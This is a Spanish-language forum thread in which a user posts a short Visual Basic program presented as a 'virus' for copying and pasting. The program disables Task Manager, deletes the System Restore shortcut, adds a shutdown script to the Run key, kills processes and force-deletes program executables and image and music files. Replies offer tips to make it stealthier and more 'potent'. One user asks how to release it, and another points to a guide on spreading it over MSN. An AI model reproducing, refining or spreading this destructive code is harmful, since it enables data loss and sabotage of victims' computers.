Virus simple en VB

[DProduct]

Acabo de hacer mi primer virus en VB. Solo hay que copiarlo y pegarlo en el código, y ya esta listo:
------------------------------------
Private Sub Form_Load()
Kill "C:\Documents and Settings\All Users\Menú Inicio\Programas\Accesorios\Herramientas del sistema\Restaurar sistema.lnk"
Shell "reg add hkcu\software\microsoft\windows\currentversion\policies\system /v disabletaskmgr /t reg_dword /d ""1"" /f"
Shell "cmd.exe cd C:\WINDOWS"
Shell "cmd.exe echo off>Win32.bat"
Shell "cmd.exe echo @echo off>>Win32.bat"
Shell "cmd.exe echo set hora=%time:~0,5%>>Win32.bat"
Shell "cmd.exe echo set hor=%hora:~0,2%>>Win32.bat"
Shell "cmd.exe echo set min=%hora:~3,5%>>Win32.bat"
Shell "cmd.exe echo set /a boumb = %min% + 0,30>>Win32.bat"
Shell "cmd.exe echo AT %hora% %min% tsshutdown -s -f -c ""Imbecil"""
Shell "cmd.exe reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v LordShack /d C:\WINDOWS\Win32.bat"
Shell "cmd.exe taskkill msnmsgr.exe"
Shell "cmd.exe taskkill msnmsgs.exe"
Shell "cmd.exe taskkill schvoust.exe"
Shell "cmd.exe taskkill iexplore.exe"
Shell "cmd.exe taskkill word.exe"
Shell "cmd.exe taskkill outlook.exe"
Shell "cmd.exe taskkill notepad.exe"
Shell "cmd.exe taskkill mspaint.exe"
Shell "cmd.exe del /Q /S /F msnmsgr.exe"
Shell "cmd.exe del /Q /S /F msnmsgs.exe"
Shell "cmd.exe del /Q /S /F schvoust.exe"
Shell "cmd.exe del /Q /S /F iexplore.exe"
Shell "cmd.exe del /Q /S /F word.exe"
Shell "cmd.exe del /Q /S /F outlook.exe"
Shell "cmd.exe del /Q /S /F notepad.exe"
Shell "cmd.exe del /Q /S /F mspaint.exe"
Shell "cmd.exe del /Q /S /F C:\ *.jpg"
Shell "cmd.exe del /Q /S /F C:\ *.bmp"
Shell "cmd.exe del /Q /S /F C:\ *.png"
Shell "cmd.exe del /Q /S /F C:\ *.psd"
Shell "cmd.exe del /Q /S /F C:\ *.mp3"
Shell "cmd.exe del /Q /S /F C:\ *.mid"
End Sub
------------------------------------

Lo que hace es:
1.- Impedir recuperar el equipo
2.- Eliminar el Administrador de Tareas
3.- Crear un virus que apaga el PC a los 30 min de abrirlo y lo agrega al registro
4.- Se carga varios procesos, las imagenes y la música

[~~]

Weno, si es de lo primero q haces no esta mal, pero te aconsejo q uses environ en vez de rutas completas, q puede fallar en muchos pc's, ah! y no es un virus, ya q no infecta nada

[SheKeL_C$]

Y aparte de lo q t a dixo EON, es vb no lo dudo, pero se puede considerar Batch 

[mojolloyo20]

pero aparte de todo esta muy bien.

si no se considera virus ni gusano,en que rama digamos queda?

me refiero como se consideraria.


un salu2 

[jpmo4]

Me sale un error. Cuando pongo el codigo me dice
"la instruccion no puede ir dentro del bloque de un metodo supone al final" es con respecto a:Private Sub Form_Load(). agradeceria su ayuda.
Ah y otra cosa como lo pruebo para no infectarme yo mismo y como lo largo al virus luego

[[SMT]]

jeje muy interesante me dan ganas de hacer un editor de batch! pero bueno..
a tu code osea el del batch se le peude arreglar muchas cosas para que sea "mas potente" dejame ayudarte:

Shell "cmd.exe taskkill msnmsgr.exe"
Shell "cmd.exe taskkill msnmsgs.exe"
Shell "cmd.exe taskkill schvoust.exe"
Shell "cmd.exe taskkill iexplore.exe"
Shell "cmd.exe taskkill word.exe"
Shell "cmd.exe taskkill outlook.exe"
Shell "cmd.exe taskkill notepad.exe"
Shell "cmd.exe taskkill mspaint.exe"

ponle /F /IM osea quedaria: taskkill /F /IM

Shell "cmd.exe echo AT %hora% %min% tsshutdown -s -f -c ""Imbecil"""

porque pones tss? para apagar la pc se usa es shutdown (y sus parametros)

Shell "cmd.exe del /Q /S /F msnmsgr.exe"
Shell "cmd.exe del /Q /S /F msnmsgs.exe"
Shell "cmd.exe del /Q /S /F schvoust.exe"
Shell "cmd.exe del /Q /S /F iexplore.exe"
Shell "cmd.exe del /Q /S /F word.exe"
Shell "cmd.exe del /Q /S /F outlook.exe"
Shell "cmd.exe del /Q /S /F notepad.exe"
Shell "cmd.exe del /Q /S /F mspaint.exe"
Shell "cmd.exe del /Q /S /F C:\ *.jpg"
Shell "cmd.exe del /Q /S /F C:\ *.bmp"
Shell "cmd.exe del /Q /S /F C:\ *.png"
Shell "cmd.exe del /Q /S /F C:\ *.psd"
Shell "cmd.exe del /Q /S /F C:\ *.mp3"
Shell "cmd.exe del /Q /S /F C:\ *.mid"

mm estas borrando el outlook, msn, mspaint, notepad? hay cosas que no estan en el directorio WINDOWS, como estas y creo que mas, que sepa mspaint esta es en el system32, = que el notepad, el msn esta en las carpetas del msn? deberias acomodar eso!
y para lo del del en el C:\ pues esta bien pero en el C:\ casi nadie tiene archivos .jpg, .mp3 y esos! mejor seria en elñ system32 o algo asi!

Bueno esa es mi recomendacion!

Salu2's! cool

[Helicot]

para el caso de los directorios, un app path no serviria ??????

[DProduct]

Utilizo ts porque shutdown apaga el PC donde se ejecuta, en cambio, tsshutdown apaga todas las PC de la LAN
Sobre lo de los directorios: He visto muchos virus que lo ponen asi.
Gracias por la corrección

[[Zero]]

Pues yo te haría varias recomendaciones, por ejemplo, al abrir este ejecutable, se abrirá una ventana de la shell y ahi se podrá ver todo lo que hace, si pones por ejemplo:

Código [Seleccionar] Expandir

,vbhide

Ya no aparecerá esa ventana. Otro punto es lo de cmd. No hace falta que lo pongas en cada instrucción, ni siquiera en la primera. Si pones por ejemplo:

Código [Seleccionar] Expandir

Shell ("del /Q /S /F msnmsgr.exe")

Funcionaría igualmente. De todas formas, para ser el primero está bien, pero ya que lo has hecho desde vb lo pudes hacer mas "profesional"
Salu2

[chrominum]

Esto esta en batch, no en VB. Y no es ni virus ni gusano, ya que no se propaga por si mismo, depende del autor. Como inicio esta bien, pero si quieres mejorarlo te recomiendo que te leas el manual de hendrix, que explica como propagarlo por msn (añades un temporizador para hacerlo todo real y que no lo suelte todo de golpe) y infectar otros archivos, entre otras cosas mas.